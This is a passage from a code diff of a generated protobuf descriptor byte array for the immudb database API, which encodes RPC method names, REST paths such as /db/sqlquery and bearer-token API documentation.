0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, + 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, + 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, + 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, + 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, + 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, + 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, - 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, - 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x67, 0x0a, 0x0d, 0x55, 0x6e, - 0x61, 0x72, 0x79, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, - 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, - 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, + 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x67, 0x0a, 0x0d, + 0x55, 0x6e, 0x61, 0x72, 0x79, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, - 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, - 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, - 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, - 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, - 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, - 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, - 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, - 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, - 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, - 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, - 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, - 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, - 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, - 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, - 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, - 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, - 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, + 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, + 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, + 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, + 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, + 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, + 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, + 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, + 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, + 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, + 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, + 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, + 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, + 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, + 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 